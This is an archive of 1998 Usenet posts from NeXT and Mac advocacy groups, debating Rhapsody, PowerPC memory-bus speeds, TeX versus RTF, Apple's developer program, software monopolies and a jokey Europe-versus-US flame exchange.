connect with the Dalai Lama. Apple ran other "Think Different" US adverts if
you didn't like Dalai Lama.
In Asia? The Dalai Lama connects with a politicized message, audience and
struggle. Apple wisely saved themselves International suicide by _NOT_
politicizing their marketing message in Asia. It was Diplomatically Correct.
Apple isn't afraid of Beijing China. Apple is afraid of falling on its own
sword. "AttaBoy" to Apple marketing. This should give ALL, an insight into
how well this Apple team is performing.
As for WIRED? Oh Shit! :-)
-r
Rex Riley
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Dear Apple: Read This
Date: 14 Apr 1998 07:43:40 GMT
Organization: @Home Network
Message-ID: <6gv43c$nsb$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
http://www.salonmagazine.com/21st/
Rhapsody=OPEN SOURCE!=free software
Open at Last, Open at Last. Open at Last :-)
-r
Rex Riley
From: handleym@apple.com (Maynard Handley)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Tue, 14 Apr 1998 00:47:57 -0700
Organization: Apple Computer
Message-ID: <handleym-1404980047570001@handma.apple.com>
References: <6go69q$8l1$3@hecate.umd.edu> <352FD2BF.50693172@adr.dk> <tim-1204981459310001@jump-k56flex-0101.jumpnet.com>
In article <tim-1204981459310001@jump-k56flex-0101.jumpnet.com>,
tim@jumpnet.com (Tim Olson) wrote:
> One could play tricks to try to run the bus at 100MHz, like latching the
> data (perhaps with a skewed clock) and sending it with better timing to
> the processor in the next cycle. This will add an extra cycle of latency
> for the initial access, so the timing would look like:
>
> 6-1-1-1 (83.3MHz)
> 7-1-1-1 (100MHz)
>
> 9 cycles @83.3MHz = 108ns
> 10 cycles @100MHz = 100ns (8% faster)
Of course these are bus cycles, not CPU cycles, so an extra bus cycle is 4
CPU cycles (@400MHz). With critical dword first, and assuming one has some
work to do before needing the next data in the line, one suspects that the
9 cycle 108ns bus may actually run code slightly faster.
Has anyone actually simulated the difference between the two?
Maynard
--
My opinion only
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 07:57:17 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6j65mt.p5a.mbkennel@lyapunov.ucsd.edu>
References: <199801202218001457904@ppp8.hol.fr> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.dimensional.com> <6ga6l3$fhe$6@ironhorse.plsys.co.uk> <6ggk8f$1kt$1@quasar.dimensional.com>
On 8 Apr 1998 19:47:27 GMT, Kenneth R. Kinder wrote:
:> Think back to 1988 and then tell us, given NeXT's goal of using standards
:> where they make sense, and diverging when they could do something
:> significantly better, tell us again what format you'd have chosen.
:
:Tex variants has been around longer than RTF.
TeX is difficult to use as a description language, however, because in real
TeX you can redefine so much and compute with mutable state inside the macro
language.
Which means the only easy way to parse TeX format files is with TeX, The
Program.
TeX source does not define just logical structure (LaTeX goes a little
further in that direction), but it defines instructions to a typesetting
program. This is a pain in the butt to use as a generalized rich text
format.
I use TeX all the time--as a typesetting system and collection of algorithms
it is very good and complete, but as a language it is truly awful.
TeX provides the same lesson as TCL: "everything is a string or a string
macro" is an attractive, clever, common, and ultimately utterly disasterous
language design.
Abusing Santayana, "Those who do not understand Lisp are doomed to reinvent
it, poorly."
\insert{dogbert_as_emperor_abusing_the_stupid.gif}
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: handleym@apple.com (Maynard Handley)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Tue, 14 Apr 1998 00:57:52 -0700
Organization: Apple Computer
Message-ID: <handleym-1404980057520001@handma.apple.com>
References: <6gpc8q$7f9$1@hecate.umd.edu>
In article <6gpc8q$7f9$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> I don't think that right now, a system with a 100+ MHz memory bus is
> likely to be targeted toward the sub $1200 consumer market. In the Mac
> world, as it is in the x86 world, higher performance stuff comes at a
> premium, then they migrate to the lower priced systems. Heck, just look
> at Apple's G3 systems, the only systems with 66 MHz memory busses, and
> when it first came out, it's all exclusive to the $2K+ systems, but
> as time goes on, Apple will introduce systems targeted toward the sub
> $1200 market with G3's on 66 MHz busses. IMO, the suitability of PC-100
> DIMMS for the sub $1200 consumer market is also irrelvent at this time.
> If they can get it, it'll end up in the higher priced systems.
Apple is not currently in a position to churn out multiple different
motherboards targetted at different market segments. They are trying to do
the best they can with a single style of motherdboard and simply changing
the case and components. For the most part this appears to be a good
strategy for right now. Certainly in the past, Apple has suffered from an
excess of systems with gratuitously different hardware resulting in all
these strange bugs that only affect the 6300 or 5500 or some other oddball
variant, and wasting massive amounts of test time and OS coding time that
could be better used elsewhere.
Before getting so worked up about the lack of a 100MHz bus, David, why
don't you quantify for us just how much performance you are missing. Do
you even know? Do you know if using currently available SDRAM in a 100MHz
system and increasing the latency will slow down or speed up a system? Do
you know if maybe the system could best be made to run faster not by
screwing around with the bus speed but by revving the various chips on the
bus to be able to queue more transaction, and by making more aggressive
use of the pipelining capabilities defined in the 60x bus?
The point is, if you don't know the answers to these questions, then you
are hardly in a position to call the Apple engineers idiots. Chances are,
they DO know the answers, and are making their decisions based on what
will actually speed up systems, not based on "ooh, 100 is bigger than
83---lets make our next bus run at 100MHz and screw the consequences".
Maynard
--
My opinion only
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 07:56:41 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <ErE8qH.JF8@AWT.NL>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm
gmgraves@slip.net (George Graves) wrote:
>> > Generally, people from Europe are very sought after - in the US!
>> > I wonder why that is. :)
>> >
>> Europeans are, on average, better educated, more capable of independent
>> creative thought, and can speak English better... :-)
>
>
>Better educated than who?
>More capable of creative thought than who?
>Can speak better English than Who?
>
>Don't need any of this "Europe is better than the USA" crap.
>Were it not for the US' Marshall Plan, you Europeans would
>still be crawling around in rubble looking for something to
>eat!
Ah! But we *did* manage to start two great multi-nation wars, exterminate
whole populations *and* brought you the Spice Girls. That must count for
something... ;-)
--Gerben
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 14 Apr 1998 08:57:25 GMT
Organization: I don't think so
Message-ID: <slrn6j69dd.a4d.jason@jhste1.dyn.ml.org>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@convex.com> <6gtvvf$ph8@newsb.netnews.att.com> <3532DC76.86324080@nstar.net>
Michael Peck wrote:
>Ah, Lawrence, we hardly knew ye. If this is the sort of trash-economics
>and cheap technological philosophy Lessig espouses, it's best that
>Microsoft win its injunction against his appointment as Special Master
>in the DoJ case. To argue that somehow, the fruits of work done by
>market leaders is "regulation" of the same breed as governmental
>litigation? Please, you can't be serious. This is really demeaning.
The notion that a market develops its own internal regulation is not
really new - the Uniform Commercial Code (perhaps the most successful
legislation ever created) is based strongly on the concept of common
business practice (as opposed to bureaucratic micromanagement) regulating
the relevant areas.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 14 Apr 1998 09:39:23 GMT
Organization: Hummingbird Heaven
Message-ID: <6gvasb$1sr@gap.cco.caltech.edu>
References: <6g6jrc$9j9$1@news.cs.tu-berlin.de> <B14D4A03-8686B@206.165.43.14>
Originator: shimpei@socrates.caltech.edu (Shimpei Yamashita)
Lawson English <english@primenet.com> writes:
>
>Something like a flattened version of NSText ala GX's flattened
>layout-shape file format. RTF isn't designed to handle the Unified Hangul
>Problem. Neither is NSText, if it is based on Unicode, but it is a start
>(some Hangul characters are used different ways in Chinese, Japanese and
>Korean,
A small nit to pick here: Hangul is the Korean phonetic alphabet. It
is not used at all in Chinese or Japanese. You're thinking of Hanzi
(Jpn. Kanji).
--
Shimpei Yamashita <http://www.patnet.caltech.edu/%7Eshimpei/>
perl -w -e '$_="not a perl hacker\n";$q=qq;(.);x9;$qq=qq;345123h896789,;;;$s=
pack(qq;H6;,q;6a7573;);$qq=qq;s,^$q,$s$qq;;$qq=~s;(\d);\$$1;g;eval$qq;print;'
Date: Tue, 14 Apr 1998 11:16:46 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Message-ID: <christian.bau-1404981116460001@christian-mac.isltd.insignia.com>
References: <6gpc8q$7f9$1@hecate.umd.edu> <handleym-1404980057520001@handma.apple.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <handleym-1404980057520001@handma.apple.com>,
handleym@apple.com (Maynard Handley) wrote:
> Before getting so worked up about the lack of a 100MHz bus, David, why
> don't you quantify for us just how much performance you are missing. Do
> you even know? Do you know if using currently available SDRAM in a 100MHz
> system and increasing the latency will slow down or speed up a system? Do
> you know if maybe the system could best be made to run faster not by
> screwing around with the bus speed but by revving the various chips on the
> bus to be able to queue more transaction, and by making more aggressive
> use of the pipelining capabilities defined in the 60x bus?
> The point is, if you don't know the answers to these questions, then you
> are hardly in a position to call the Apple engineers idiots. Chances are,
> they DO know the answers, and are making their decisions based on what
> will actually speed up systems, not based on "ooh, 100 is bigger than
> 83---lets make our next bus run at 100MHz and screw the consequences".
Tim Olson posted earlier an example that with an 83 MHz motherboard you
might have an access pattern of 6-1-1-1 cycles, where a 100 MHz board
would give you a 7-1-1-1 access pattern.
Looks to me that most of the delay comes from the SDRAM chip itself
(roughly 70ns for the first access), and that delay doesnt change no
matter what speed your motherboard is. I might be wrong, but having a 128
bit bus at 41.5 MHz might turn out the be exactly as fast as a 64 bit bus
at 83 MHz and might be much easier to build.
And whatever you do, RAM on the motherboard is still sloooow compared to
L2 cache on the G3 chips. Maybe adding more L2 cache at moderate speed or
using faster L2 cache would give much more gain for less cost and less
design headache. And that would make it much easier to build machines with
different performance at different prices.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 10:17:53 GMT
Organization: P & L Systems
Message-ID: <6gvd4h$oop$37@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com>
<352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk>
<1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> <6gsosb$oop$34@ironhorse.plsys.co.uk>
<gmgraves-1304981105070001@sf-usr1-44-172.dialup.slip.net>
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Cc: gmgraves@slip.net
In <gmgraves-1304981105070001@sf-usr1-44-172.dialup.slip.net> George Graves
wrote:
> In article <6gsosb$oop$34@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
> > OK, so waht do you need seeds for?
>
> Oh, I dunno, I MIGHT (as a developer) want to develop my software
> for Rhapsody, or for Allegro. Can't do that WITHOUT actually having
> Rhapsody or Allegro, and the only way to get those is for Apple to
> seed them to you!
>
Nope. You could buy OPENSTEP/Enterprise, or WebObjects.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 10:16:11 GMT
Organization: P & L Systems
Message-ID: <6gvd1b$oop$36@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
<6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
<1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com>
<19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com>
<6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
<6gm9o0$evt$1@crib.bevc.blacksburg.va.us> <1d7az1o.4w7wfqr7ig3sN@rhrz-isdn3-p23.rhrz.uni-bonn.de>
<6gq920$oop$21@ironhorse.plsys.co.uk> <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de>
<6gr0m4$eq$1@goof.de.uu.net> <6gsrle$oop$35@ironhorse.plsys.co.uk>
<gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net>
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Cc: gmgraves@slip.net
In <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> George Graves
wrote:
> In article <6gsrle$oop$35@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
> > Europeans are, on average, better educated, more capable of independent
> > creative thought, and can speak English better... :-)
>
> Better educated than who?
> More capable of creative thought than who?
> Can speak better English than Who?
You obviously didn't notice the smiley.
> Don't need any of this "Europe is better than the USA" crap.
> Were it not for the US' Marshall Plan, you Europeans would
> still be crawling around in rubble looking for something to
> eat!
>
Oh for heaven's sake -- this is absurd, and not a little offensive. How
about if I said "If it hadn't have been for the Eurpoeans, you'd still be
living in tee-pees and wearing buffalo skins."
Have a better holiday next year...
mmalc.
BTW: I have US citizenship...
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 10:18:15 GMT
Organization: P & L Systems
Message-ID: <6gvd57$oop$38@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com>
<352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk>
<1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> <6gsosb$oop$34@ironhorse.plsys.co.uk>
<1d7fwph.1fsx8qz16236ydN@dialup-96.def.oleane.com>
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Cc: bl003@dial.oleane.com
In <1d7fwph.1fsx8qz16236ydN@dialup-96.def.oleane.com> Benoit Leraillez wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > > No seeds.
> > >
> > OK, so waht do you need seeds for?
>
> Why do you need SDK for?
>
I don't.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 10:23:00 GMT
Organization: P & L Systems
Message-ID: <6gvde4$oop$39@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6glos8$oop$17@ironhorse.plsys.co.uk> <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr>
<gmgraves-1304981101380001@sf-usr1-44-172.dialup.slip.net>
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Cc: gmgraves@slip.net
In <gmgraves-1304981101380001@sf-usr1-44-172.dialup.slip.net> George Graves
wrote:
> In article <1d7efim.1i8t00812ucbmsN@ppgutkneco.lirmm.fr>,
> gutkneco+news@lirmm.fr (Olivier Gutknecht) wrote:
>
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >
> > > Apple has not been cashing anyone's checks on new enrollments or
renewals
> > > for over six months. Everyone who has had to renew or join the program
in
> > > the last six months has gotten it gratias.
> >
Again, please get the attribution correct:
I was forwarding a message received from Jordan Dea-Mattson at Apple.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 10:35:08 GMT
Organization: P & L Systems
Message-ID: <6gve4s$oop$40@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <ericb-1304982021040001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1304982021040001@132.236.171.104> Eric Bennett wrote:
> In article <6gloht$oop$16@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > For heaven's sake; they haven't decided how much they're going to charge
> > *anyone* yet.
>
> I'm talking about access to DR1/DR2/etc., not CR1.
>
Then how about waiting until they make an announcement, and then whining if
they don't live up (or down to your...) to expectations?
> > > I am not at all optimistic.
> > >
> > Whinge whinge whinge. Sheesh, I hope I had a better attitude when I was
an
> > academic.
>
> There is no official statement from Apple that it will offer a good
> educational developer platform.
>
Like WebObjects for $99? Official.
> Just rumors that pop up all over the
> place, mentioned by many people in this thread and even by columnists like
> Don Crabb. Given how Apple loves to break official promises, I can hardly
> be optimistic about an unofficial promise.
>
> Call it whining if you like, but my beef here is just as much with people
> like you who are trying to reassure me with old rumors as it is with
> Apple.
>
I am not rehashing old rumours, I am passing on information I have received
from asking people within Apple directly, from paying careful attention to
press releases, announcements etc., and extrapolating from directions
indicated by other pricing structures.
mmalc.
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <sczY.1017$ME2.5365651@news.itd.umich.edu> <3532DAA4.895A8924@nstar.net>
In-Reply-To: <3532DAA4.895A8924@nstar.net>
From: not@my.address.net
Message-ID: <ymHY.15$iH3.214767@news.itd.umich.edu>
Date: Tue, 14 Apr 1998 11:01:50 GMT
NNTP-Posting-Date: Tue, 14 Apr 1998 07:01:50 EDT
On 04/13/98, Michael Peck wrote:
>If this is a roundabout allusion to Microsoft's "monopoly" (as I would
>expect from the title of the thread), all of this argument is a
>not-so-subtle way of saying that you've taken Microsoft as a proof case
>for the existence of software monopolies. I say that's poor science, and
>just plain untrue, to boot.
>
I don't want the point to be subtle. At the risk of repetition, I'll try
to be explicit.
(1) Provided that you do have an industry where marginal costs diminish
even as the size of the firm approaches the size of the market, an
unregulated private market will predictably spawn a so called "natural"
monopoly.
(2) The software industry, or at least certain sectors of it, exhibits just
that feature -- the range over which size gives you a competitive advantage
approaches the size of the market itself.
(When you consider (2), remember to factor in the relation between market
share and consumer cost -- if software is popular it's easier to hire
people trained to use it, easier to get "support" from informal channels
(ie friends who use it), etc. etc.)
It seems that you grant (1) and deny (2). Is that a fair statement of
where we're at? I'm not trying to put words in your mouth; I'm just
looking for clarification so we can be efficient and stay on point.
>I see at the base of your argument about the
>software industry the fundamental complaint that "everyone needs
>software" and thus that buying from a monopolistic competitor is almost
>certain in that market.
Universal need is not the premise for the argument. If no one "needed" a
television set and only half of households had one, at the equilibrium
point in a free market for the production of TV's there would still be a
single supplier provided that the range over which per/unit costs of
production diminish is greater than the size of the market itself.
--
invert: umich.edu jdevlin
insert: shift "2"
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 06:50:36 -0500
Organization: AT&T WorldNet Services
Message-ID: <6gvinl$keq@bgtnsc03.worldnet.att.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm <ErE8qH.JF8@AWT.NL>
I still haven't forgiven you for the Spice Girls. :)
Ken
--
Ken Schuller
from on the road somewhere in Texas...
*remove the obvious spam foil to reply via e-mail*
Gerben Wierda wrote in message ...
>gmgraves@slip.net (George Graves) wrote:
>>> > Generally, people from Europe are very sought after - in the US!
>>> > I wonder why that is. :)
>>> >
>>> Europeans are, on average, better educated, more capable of independent
>>> creative thought, and can speak English better... :-)
>>
>>
>>Better educated than who?
>>More capable of creative thought than who?
>>Can speak better English than Who?
>>
>>Don't need any of this "Europe is better than the USA" crap.
>>Were it not for the US' Marshall Plan, you Europeans would
>>still be crawling around in rubble looking for something to
>>eat!
>
>Ah! But we *did* manage to start two great multi-nation wars, exterminate
>whole populations *and* brought you the Spice Girls. That must count for
>something... ;-)
>
>--Gerben
From: Dave Griffiths <dgriffit@acorn.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: Tue, 14 Apr 1998 12:58:45 +0100 (BST)
Organization: Acorn Computers Ltd, Cambridge, United Kingdom
Message-ID: <ant1411451cbLJLo@om107.acorn.co.uk>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
In article <B157BF25-96EA9@207.217.155.51>, Brad Hutchings
<URL:mailto:brad@hutchings-software.com> wrote:
> Someone wrote:
>
> >Don't need any of this "Europe is better than the USA" crap.
> >Were it not for the US' Marshall Plan, you Europeans would
> >still be crawling around in rubble looking for something to
> >eat!
If it wasn't for us Europeans you lot would still be living in wigwams
and hunting buffalo with bows and arrows!
Dave
Date: Tue, 14 Apr 1998 07:49:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1404980749330001@wil76.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com> <352BA869.4901@home.sleeping> <6gqmki$oop$31@ironhorse.plsys.co.uk> <1d7e518.1pgu5461j6wps0N@dialup-157.def.oleane.com> <6gsosb$oop$34@ironhorse.plsys.co.uk> <gmgraves-1304981105070001@sf-usr1-44-172.dialup.slip.net> <6gvd4h$oop$37@ironhorse.plsys.co.uk>
In article <6gvd4h$oop$37@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <gmgraves-1304981105070001@sf-usr1-44-172.dialup.slip.net> George Graves
> wrote:
> > In article <6gsosb$oop$34@ironhorse.plsys.co.uk>, mmalcolm crawford
> > <malcolm@plsys.co.uk> wrote:
> > > OK, so waht do you need seeds for?
> >
> > Oh, I dunno, I MIGHT (as a developer) want to develop my software
> > for Rhapsody, or for Allegro. Can't do that WITHOUT actually having
> > Rhapsody or Allegro, and the only way to get those is for Apple to
> > seed them to you!
> >
> Nope. You could buy OPENSTEP/Enterprise, or WebObjects.
OR, couldn't you use GNUstep on Linux?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 12:29:18 GMT
Organization: P & L Systems
Message-ID: <6gvkqu$oop$42@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com>
<6gloaj$oop$15@ironhorse.plsys.co.uk> <steve-1304981325100001@oranoco.discoverysoft.com>
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Cc: steve@discoverysoft.com
In <steve-1304981325100001@oranoco.discoverysoft.com> Steven Fisher wrote:
> In article <6gloaj$oop$15@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
> >> Don't you feel better knowing that the freeware and shareware software
you
> >> use is being tested long before the next MacOS is actually released?
> >>
> >No. I'm used to using an operating system where stuff doesn't break
simply
> >because a new version is released.
>
> That's just my point.
>
Umm, no, it isn't, it's a contradictory point.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 12:24:59 GMT
Organization: P & L Systems
Message-ID: <6gvkir$oop$41@ironhorse.plsys.co.uk>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
<6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr>
<joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104>
<6gqlb4$oop$26@ironhorse.plsys.co.uk> <ericb-1304982030210001@132.236.171.104>
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Cc: ericb@pobox.com
In <ericb-1304982030210001@132.236.171.104> Eric Bennett wrote:
> In article <6gqlb4$oop$26@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > So what's been stopping you getting hold of the academic version of
OPENSTEP
> > 4.2 ($299)? Note also that Apple has just announced WebObjects Academic
for
> > **$99* -- that gives you pretty much all the YellowBox API...
>
> Does OPENSTEP run on the PowerPC? Or would I have to buy a new computer
> to use this as an avenue for learning Rhapsody?
>
> Oh darn. I don't have an x86. Looks like I'm out of luck.
>
You said you couldn't learn about Rhapsody programming without joining the
program. I pointed out you could. You have a choice. How serious are you
about getting started?
mmalc.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 14 Apr 1998 00:22:05 -0500
Organization: CE Software
Message-ID: <MPG.f9cae7368539e159898aa@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com> <1d76xac.1dq1swxbccaqoN@dialup-15.def.oleane.com> <6gittr$6j$4@anvil.BLaCKSMITH.com> <19980409224411642783@dialup-202.def.oleane.com> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com> <6gm <ErE8qH.JF8@AWT.NL>
In article <ErE8qH.JF8@AWT.NL>, G.C.Th.Wierda@AWT.nl says...
> >Were it not for the US' Marshall Plan, you Europeans would
> >still be crawling around in rubble looking for something to
> >eat!
>
> Ah! But we *did* manage to start two great multi-nation wars, exterminate
> whole populations *and* brought you the Spice Girls. That must count for
> something... ;-)
>
Tongue being FIRMLY IN CHEEK...
I can forgive the wars and other stuff. But, because of the Spice Girl,
I want my money back.
Donald
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 Apr 1998 14:03:41 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6gvqbt$hnq@shelob.afs.com>
